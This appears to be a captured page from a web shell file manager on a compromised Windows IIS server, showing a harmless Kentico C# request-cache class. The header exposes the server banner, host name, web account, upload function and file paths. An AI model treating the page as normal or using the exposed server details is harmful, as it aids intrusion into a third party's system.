HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/TDijk1/erp-apps.eu/wwwroot/App_Code/Pux/Kentico/Cache/RequestCache.cs
using CMS.Helpers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace Pux.Kentico.Cache
{
    public class RequestCache
    {
        public static T Cache<T>(Func<T> loadFunction, string cacheKey) where T : class
        {
            T result = null;
            if (!RequestStockHelper.Contains(cacheKey))
            {
                result = loadFunction();

                RequestStockHelper.Add(cacheKey, result);
            }
            else
            {
                result = RequestStockHelper.GetItem(cacheKey) as T;
            }

            return result;
        }
    }
}